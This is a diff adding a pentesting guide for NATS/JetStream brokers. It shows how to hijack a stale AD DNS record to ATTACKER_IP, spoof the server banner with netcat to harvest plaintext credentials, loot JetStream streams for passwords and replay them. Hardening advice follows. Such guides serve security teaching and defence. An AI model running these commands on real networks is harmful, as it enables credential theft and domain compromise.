|
| 1 | +# 4222 - Pentesting NATS / JetStream |
| 2 | + |
| 3 | +{{#include ../banners/hacktricks-training.md}} |
| 4 | + |
| 5 | +## Basic Information |
| 6 | + |
| 7 | +**NATS** is a high-performance message bus that speaks a simple text-based protocol: the server transmits an `INFO { ... }` JSON banner immediately after TCP connect, and the client replies with a `CONNECT {"user":"USERNAME","pass":"PASSWORD",...}` frame followed by optional `PING`/`PUB`/`SUB` commands. JetStream adds persistence primitives (Streams & Consumers) on top of the same TCP port (`4222/tcp`). TLS and authentication are optional, so many internal deployments run **plaintext AUTH**. |
| 8 | + |
| 9 | +* Default port: **4222/tcp** (4223+ for clustered routes) |
| 10 | +* Stock banner fields: `"version"`, `"auth_required"`, `"jetstream"`, `"max_payload"`, `"tls_required"` |
| 11 | + |
| 12 | +## Enumeration |
| 13 | + |
| 14 | +### Banner grabbing / service probes |
| 15 | + |
| 16 | +```bash |
| 17 | +nmap -p4222 -sV --script banner TARGET |
| 18 | +# Sample output |
| 19 | +# 4222/tcp open nats NATS.io gnatsd 2.11.3 |
| 20 | +# | banner: INFO {"server_id":"NDo...","version":"2.11.3","proto":1,"auth_required":true,"jetstream":true,"max_payload":1048576} |
| 21 | +``` |
| 22 | + |
| 23 | +The INFO frame can also be pulled manually: |
| 24 | + |
| 25 | +```bash |
| 26 | +echo | nc HOST 4222 |
| 27 | +INFO {"server_id":"NCLWJ...","version":"2.11.3","auth_required":true,"jetstream":true} |
| 28 | +-ERR 'Authorization Violation' |
| 29 | +``` |
| 30 | + |
| 31 | +Install the official CLI (Go ≥1.21) for deeper interaction: |
| 32 | + |
| 33 | +```bash |
| 34 | +go install github.com/nats-io/natscli/nats@latest |
| 35 | +nats -s nats://HOST:4222 rtt |
| 36 | +``` |
| 37 | + |
| 38 | +Authentication failures immediately raise `nats: Authorization Violation`, so valid creds are required for any meaningful RPC. |
| 39 | + |
| 40 | +## Credential capture via DNS/service impersonation |
| 41 | + |
| 42 | ++ Identify stale AD DNS entries for the broker hostname (e.g. `nats-svc.domain.local`). If the record returns `NXDOMAIN`, a low-privileged domain user can recreate it thanks to default dynamic-update ACLs. See [AD DNS Records abuse](../windows-hardening/active-directory-methodology/ad-dns-records.md) for background. |
| 43 | ++ Register the hostname to an attacker-controlled IP: |
| 44 | + |
| 45 | +```bash |
| 46 | +nsupdate |
| 47 | +> server DC_IP |
| 48 | +> update add nats-svc.domain.local 60 A ATTACKER_IP |
| 49 | +> send |
| 50 | +``` |
| 51 | + |
| 52 | ++ Mirror the legitimate banner once, then replay it to every connecting client. NATS trusts the first `INFO` line it sees, so we only need to pipe it through a listener: |
| 53 | + |
| 54 | +```bash |
| 55 | +nc REAL_NATS 4222 | head -1 | nc -lnvp 4222 |
| 56 | +``` |
| 57 | + |
| 58 | ++ As soon as an internal client resolves the hijacked name, it will emit a plaintext `CONNECT` frame containing the `user` / `pass` pair and various telemetry (client name, Go version, protocol level). Because nothing past the INFO banner is required, even `nc` is enough to harvest secrets. |
| 59 | ++ For longer engagements, run the official server locally (`git clone https://github.com/nats-io/nats-server && go build && ./nats-server -V`). TRACE logging already shows usernames; removing the redaction helper or sniffing traffic with Wireshark reveals the full password. |
| 60 | + |
| 61 | +## JetStream looting & password hunting |
| 62 | + |
| 63 | +Once any credential is recovered (e.g. `Dev_Account_A`), store it as a CLI context to avoid retyping: |
| 64 | + |
| 65 | +```bash |
| 66 | +nats context add mirage -s nats://dc01.mirage.htb --user Dev_Account_A --password 'hx5h7F5554fP@1337!' |
| 67 | +``` |
| 68 | + |
| 69 | +JetStream discovery usually follows this pattern: |
| 70 | + |
| 71 | +```bash |
| 72 | +nats account info --context mirage # quotas, stream count, expiration |
| 73 | +nats stream list --context mirage # names + message totals |
| 74 | +nats stream info auth_logs --context mirage |
| 75 | +nats stream view auth_logs --context mirage |
| 76 | +``` |
| 77 | + |
| 78 | +Streaming teams frequently log authentication events into subjects such as `logs.auth`. If developers persist the raw JSON into a JetStream stream, the payloads may include plaintext AD usernames and passwords: |
| 79 | + |
| 80 | +```json |
| 81 | +{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"} |
| 82 | +``` |
| 83 | + |
| 84 | +Retained secrets can then be replayed against Kerberos-only services using `netexec smb DC01 -u USER -p PASS -k`, enabling full domain compromise. |
| 85 | + |
| 86 | +## Hardening & detection |
| 87 | + |
| 88 | +* **Enforce TLS** (`tls`, `tls_required`, or mTLS via `nkey`/`creds`). Without encryption, INFO/CONNECT leaks credentials to anyone on-path. |
| 89 | +* **Pinpoint who can update DNS** – delegate service records to dedicated accounts and audit Event IDs 257/252 for high-value hostnames. Combine with scavenging alerts so missing broker names cannot be silently re-claimed. |
| 90 | +* **Disable credential logging**. Scrub secrets before publishing to subjects, set JetStream retention/age limits, and apply `deny_delete=false` only to trusted operators. |
| 91 | +* **Monitor for banner anomalies** – repeated short-lived connections, authentication timeouts, or INFO banners that do not match the blessed template suggest spoofed servers. |
| 92 | + |
| 93 | +## References |
| 94 | + |
| 95 | +* [HackTheBox Mirage: Chaining NFS Leaks, Dynamic DNS Abuse, NATS Credential Theft, JetStream Secrets, and Kerberoasting](https://0xdf.gitlab.io/2025/11/22/htb-mirage.html) |
| 96 | + |
| 97 | +{{#include ../banners/hacktricks-training.md}} |
0 commit comments